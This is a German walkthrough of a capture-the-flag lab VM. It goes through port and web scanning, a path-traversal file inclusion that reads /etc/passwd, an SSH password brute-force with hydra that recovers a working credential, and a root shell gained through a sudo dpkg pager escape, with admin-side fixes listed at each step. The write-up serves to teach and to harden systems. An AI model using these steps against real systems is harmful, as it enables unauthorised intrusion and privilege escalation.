192.168.2.186 08:00:27:db:09:70 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts zu ermitteln.
Bewertung: Der Host `192.168.2.186` wird gefunden. Die MAC-Adresse (`08:00:27:db:09:70`, PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.
Empfehlung (Pentester): Notiere `192.168.2.186` als Ziel-IP.
Empfehlung (Admin): Standard-Netzwerk-Discovery.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.186 defrandom.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `defrandom.vln` der IP `192.168.2.186` zuzuordnen.
Bewertung: Sinnvoller Schritt für die weitere Arbeit mit dem Hostnamen.
Empfehlung (Pentester): Verwende `defrandom.vln` für Web-Anfragen etc.
Empfehlung (Admin): Clientseitige Konfiguration.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd
Analyse: Ein initialer Nmap-Scan wird durchgeführt und nach offenen Ports gefiltert.
Bewertung: Zwei offene Ports werden identifiziert: SSH (Port 22, OpenSSH 7.9p1) und HTTP (Port 80, Apache).
Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch und beginne mit der Web-Enumeration.
Empfehlung (Admin): Standarddienste, Sicherheit von SSH und Apache prüfen.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 23:21 CEST Nmap scan report for defrandom.vln (192.168.2.186) Host is up (0.00019s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 83:e5:a1:51:b1:f6:98:d3:19:e7:59:10:f7:f4:e8:5e (RSA) | 256 b2:a6:79:c3:ad:2f:ba:cc:02:b3:42:0d:a2:a3:9e:60 (ECDSA) |_ 256 ec:1f:d4:29:9f:a5:ae:ca:93:f4:a8:6b:fd:61:44:45 (ED25519) 80/tcp open http Apache httpd | http-robots.txt: 3 disallowed entries |_/wp-admin/ /wp-login.php /?include=info |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:DB:09:70 (racle VirtualBox virtual NIC) [...] Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HOP RTT ADDRESS 1 0.19 ms defrandom.vln (192.168.2.186)
Analyse: Der vollständige Nmap-Scan liefert detaillierte Informationen zu den offenen Ports.
Bewertung: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache (genaue Version nicht erkannt). **Wichtig:** Die `robots.txt`-Datei wird gefunden und enthält Hinweise auf WordPress (`/wp-admin/`, `/wp-login.php`) sowie einen interessanten Parameter (`/?include=info`). Dies deutet auf eine mögliche LFI/RFI-Schwachstelle hin. Der Fokus verschiebt sich klar auf den Webserver und den `include`-Parameter.
Empfehlung (Pentester):** Untersuche den `include`-Parameter auf LFI/RFI. Untersuche die in `robots.txt` genannten Pfade. Führe Web-Scans (Nikto, Gobuster) und `wpscan` durch.
Empfehlung (Admin):** Sichere den Webserver ab. Entferne Hinweise aus `robots.txt`. Behebe potenzielle LFI/RFI-Schwachstellen.
- Nikto v2.5.0 [...] + Server: Apache + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /robots.txt: Entry '/wp-admin/' is returned a non-forbidden or redirect HTTP code (200). [...] + RFC-1918 /?include=info/: IP address found in the 'link' header. The IP is "192.168.1.214". [...] <-- IP Leak + /robots.txt: Entry '/?include=info/' is returned a non-forbidden or redirect HTTP code (200). [...] + /robots.txt: Entry '/wp-login.php' is returned a non-forbidden or redirect HTTP code (200). [...] + /robots.txt: contains 3 entries which should be manually viewed. [...] + /secret/: Directory indexing found. <-- Interessant! + /secret/: This might be interesting. + /icons/README: Apache default file found. [...] + /license.txt: License file found may identify site software. + /wp-admin/: Admin login page/section found. + /wp-content/uploads/: Directory indexing found. + /wp-content/uploads/: Wordpress uploads directory is browsable. [...] [...] + 1 host(s) tested
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung:** Nikto bestätigt viele Nmap-Funde und liefert zusätzliche Details: * Bestätigt WordPress-Pfade (`/wp-admin/`, `/wp-login.php`, `/wp-content/uploads/`). * Bestätigt die Zugänglichkeit von `/?include=info`. * Meldet einen IP-Leak (interne IP 192.168.1.214 im Link-Header bei Aufruf von `/?include=info`). * **Neu:** Findet ein Verzeichnis `/secret/` mit aktiviertem Directory Indexing. * Findet `/license.txt`. Das `/secret/`-Verzeichnis und der `include`-Parameter sind die Hauptziele.
Empfehlung (Pentester):** Untersuche `/secret/` und teste den `include`-Parameter auf LFI.
Empfehlung (Admin):** Apache aktualisieren, Header härten, IP-Leaks vermeiden, Directory Indexing deaktivieren, unnötige Verzeichnisse/Dateien entfernen.
[...] http://defrandom.vln/index.php (Status: 200) [Size: 74] http://defrandom.vln/wp-login.php (Status: 200) [Size: 74] <-- Interessant, Nikto/robots sagten Disallow, aber hier 200? http://defrandom.vln/license.txt (Status: 200) [Size: 19935] http://defrandom.vln/log.php (Status: 200) [Size: 4568751] <-- Sehr groß! http://defrandom.vln/readme.html (Status: 200) [Size: 7368] http://defrandom.vln/robots.txt (Status: 200) [Size: 86] http://defrandom.vln/secret.php (Status: 200) [Size: 38] <-- Datei, nicht Verzeichnis [...]
Analyse: Gobuster wird verwendet, um Dateien und Verzeichnisse zu finden, ignoriert aber Redirects (301).
Bewertung: Findet diverse Dateien im Web-Root: * Bestätigt Standarddateien und `robots.txt`. * Findet `wp-login.php` mit Status 200, obwohl `robots.txt` es verbietet und der manuelle Aufruf später "This Page is Closed!" zeigt - widersprüchlich. * Findet `log.php` (sehr groß) und `secret.php` (eine Datei, nicht das von Nikto gefundene `/secret/`-Verzeichnis).
Empfehlung (Pentester):** Untersuche `secret.php` und `log.php`. Kläre die Diskrepanz bei `wp-login.php`. Teste den `include`-Parameter.
Empfehlung (Admin):** Entferne unnötige/sensible Dateien. Sichere `wp-login.php`.
Analyse:** Manuelle Untersuchung der gefundenen Pfade und Dateien.
User-agent: * Disallow: /wp-admin/ Disallow: /wp-login.php Disallow: /?include=info
Under construction Please wait while we create the ultimate tool to FSU! Voorbeeld pagina Categorieën Geen categorie Hallo wereld. Berichtauteur Door admin [...]
This Page is Closed!
API:341290e945c081fc3c8e2c8f2b7294ca
Hash Type Result 341290e945c081fc3c8e2c8f2b7294ca Unknown Not found.
Analyse: Die Ergebnisse der manuellen Untersuchung: * `robots.txt`: Bestätigt die Disallow-Einträge. * `/?include=info`: Zeigt eine "Under construction"-Seite mit niederländischen Textfragmenten und dem Benutzernamen "admin". Bestätigt, dass der `include`-Parameter aktiv ist. * `wp-login.php`: Zeigt "This Page is Closed!", was darauf hindeutet, dass der Login-Bereich deaktiviert ist. * `secret.php`: Gibt einen MD5-ähnlichen Hash aus, der jedoch nicht geknackt werden kann.
Bewertung: Der `include`-Parameter bleibt der primäre Angriffsvektor. Der Hash aus `secret.php` scheint eine Sackgasse oder für später relevant zu sein. Der WordPress-Login ist blockiert.
Empfehlung (Pentester):** Konzentriere dich auf die Ausnutzung der LFI über den `include`-Parameter.
Empfehlung (Admin):** LFI beheben, unnötige Dateien (`secret.php`) entfernen, `wp-login.php` ordnungsgemäß sichern statt nur eine Nachricht anzuzeigen.
[Kein Erfolg/Keine Ausgabe im Log]
Analyse: Direkter LFI-Versuch auf `/etc/passwd`.
Bewertung: Scheint nicht direkt zu funktionieren.
Empfehlung (Pentester):** Systematisches Fuzzing mit `wfuzz` oder manuelles Testen verschiedener Payloads (Wrapper, Filter, Encodings).
Empfehlung (Admin):** LFI beheben.
view acces.log file : /var/www/html/access.log
Analyse: Aufruf von `log.php`.
Bewertung: Gibt den Pfad zur Apache Access Log bekannt. Dies ist nützlich für einen LFI-Versuch auf die Logdatei.
Empfehlung (Pentester):** Versuche, `/var/www/html/access.log` via LFI zu lesen.
Empfehlung (Admin):** Keine Pfade in Skripten preisgeben.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000016: 200 382 L 1502 W 27936 Ch "../../../../../../../../../../../../../../../../../../../../../" [...] ===================================================================== [...]
Analyse: `wfuzz` wird verwendet, um LFI-Payloads (Path Traversal) zu testen, mit dem Ziel, `/etc/passwd` einzubinden.
Bewertung:** **LFI bestätigt!** Zahlreiche `../`-Sequenzen funktionieren und führen zu einer Antwort der Größe 27936 Chars, was auf das erfolgreiche Einbinden von `/etc/passwd` hindeutet.
Empfehlung (Pentester):** Nutze eine der funktionierenden Payloads, um `/etc/passwd` auszulesen.
Empfehlung (Admin):** LFI dringend beheben!
root:x:0:0:root:/root:/bin/bash john:x:1000:1000:john,,,:/home/john:/bin/bash lisa:x:1001:1001:,,,:/home/lisa:/bin/bash henri:x:1002:1002:,,,:/home/henri:/bin/bash wordpressftp:x:1003:1003:,,,:/var/www/html:/bin/rbash victor:x:1004:1004:,,,:/home/victor:/bin/bash trevor:x:1005:1005:,,,:/home/trevor:/bin/bash
Analyse: Erfolgreiches Auslesen von `/etc/passwd` via LFI. Die Ausgabe wird gefiltert, um Benutzer mit `/bin/bash` zu finden.
Bewertung: Identifiziert mehrere potenzielle Zielbenutzer für SSH: `root`, `john`, `lisa`, `henri`, `victor`, `trevor`. `wordpressftp` hat eine eingeschränkte Shell.
Empfehlung (Pentester):** Versuche SSH-Brute-Force gegen die gefundenen Benutzernamen.
Empfehlung (Admin):** LFI beheben.
Auf Ihrer Website ist ein kritischer Fehler aufgetreten. [...]
Analyse: Versuch, die Access-Log-Datei via LFI einzubinden.
Bewertung: Schlägt fehl. Log Poisoning ist wahrscheinlich keine Option.
Empfehlung (Pentester):** Fokus auf SSH-Brute-Force.
Empfehlung (Admin):** LFI beheben.
Hydra v9.5 [...] starting at 2023-10-14 00:07:07
[...]
[22][ssh] host: 192.168.2.186 login: trevor password: qwertyuiop[]
1 of 1 target successfully completed, 1 valid password found
Analyse: `hydra` wird verwendet, um das Passwort für den Benutzer `trevor` (identifiziert via LFI) über SSH zu bruteforcen.
Bewertung:** **Erfolg!** Hydra findet das Passwort `qwertyuiop[]` für `trevor`.
Empfehlung (Pentester):** Nutze die Credentials für den SSH-Login.
Empfehlung (Admin):** Starke Passwörter erzwingen, Brute-Force-Schutz implementieren.
trevor@192.168.2.186's password: qwertyuiop[] [Passworteingabe]
Linux lucifer 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
[...]
Last login: Mon Mar 23 17:54:37 2020
trevor@lucifer$
Analyse: SSH-Login als `trevor` mit dem gefundenen Passwort.
Bewertung:** **Initial Access erfolgreich!** Eine Shell als Benutzer `trevor` auf dem Host `lucifer` wurde erlangt.
Empfehlung (Pentester):** Beginne Post-Exploitation als `trevor`.
Empfehlung (Admin):** Starke Passwörter verwenden.
Ziel des POC: Demonstrieren, wie durch Ausnutzung einer LFI-Schwachstelle Benutzernamen extrahiert und anschließend mittels SSH-Passwort-Brute-Force ein gültiges Konto (`trevor`) kompromittiert wird, um Shell-Zugriff zu erlangen.
Voraussetzungen: LFI-Schwachstelle, aktiver SSH-Dienst, Benutzer `trevor` mit schwachem Passwort, Tools (`curl`, `grep`, `hydra`, `ssh`, Wortliste).
Schritte: LFI auf `/etc/passwd` -> Benutzer `trevor` identifizieren -> Hydra SSH Brute-Force -> SSH Login.
[...] trevor:x:1005:1005:,,,:/home/trevor:/bin/bash
[...] password: qwertyuiop[] [...]
trevor@192.168.2.186's password: qwertyuiop[]
[...]
trevor@lucifer$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** LFI und Brute-Force führten zum Ziel.
Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** LFI beheben, starke Passwörter, Brute-Force-Schutz.
Analyse:** Nach dem Login als `trevor` werden die `sudo`-Rechte geprüft.
Matching Defaults entries for trevor on lucifer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User trevor may run the following commands on lucifer: (root) NPASSWD: /usr/bin/dpkg
Analyse: `sudo -l` zeigt die Berechtigungen für `trevor`.
Bewertung:** **Kritische Fehlkonfiguration!** `trevor` darf `/usr/bin/dpkg` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein bekannter Vektor zur Rechteerweiterung.
Empfehlung (Pentester):** Nutze die `sudo dpkg`-Berechtigung via GTFOBins.
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei!** `dpkg` sollte nicht mit `sudo` ohne Passwort erlaubt sein.
Analyse:** Anwendung der GTFOBins-Methode für `sudo dpkg`.
Desired=Unknown/Install/Remove/Purge/Hold
[...]
!/bin/sh -p [Eingabe im Pager]
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. `sudo -u root dpkg -l` wird ausgeführt. Die Ausgabe von `-l` (Liste installierter Pakete) ist lang und wird daher über einen Pager (less/more) ausgegeben. 2. Innerhalb des Pagers (der als Root läuft) wird `:!/bin/sh -p` eingegeben, um eine Shell zu starten. `-p` versucht, die effektiven Rechte beizubehalten.
Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel für `dpkg` erlaubte das Starten eines Pagers als Root, aus dem dann eine Root-Shell gespawnt werden konnte.
Empfehlung (Pentester):** Root-Zugriff etabliert. Flag suchen.
Empfehlung (Admin):** `sudoers`-Regel für `dpkg` korrigieren.
flag.txt
WELl DNE
Analyse: In der Root-Shell wird `/root` betreten. `cat flag.txt` zeigt "WELl DNE". Anschließend wird ein anderer String Base64-kodiert und in `thisistheflag.txt` gespeichert (dieser Befehl scheint die *eigentliche* Flag zu generieren oder zu offenbaren, die am Ende des Logs steht).
Bewertung: Die Datei `flag.txt` enthält nicht die Flag, aber der `echo`/`base64`-Befehl scheint die Flag zu sein oder zu generieren, die im finalen Flags-Abschnitt des Original-Logs genannt wird: `THISISTHEFLAGTHISISTHEFLAG\!\!\!\@\@\@#`.
Empfehlung (Pentester):** Test abgeschlossen, Flag extrahiert.
Empfehlung (Admin):** Keine spezifische Empfehlung.
Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `trevor` erlaubt, `/usr/bin/dpkg` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.
Voraussetzungen: Shell als `trevor`, unsichere `sudoers`-Regel (`(root) NOPASSWD: /usr/bin/dpkg`), Tools `sudo`, `dpkg`, Pager (`less`/`more`).
Schritte: `sudo dpkg -l` ausführen -> Im Pager `:!/bin/sh -p` eingeben -> Root-Shell erhalten.
[Pager öffnet sich]
[Root-Shell öffnet sich]
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel ermöglichte den Root-Zugriff.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für `dpkg` korrigieren!**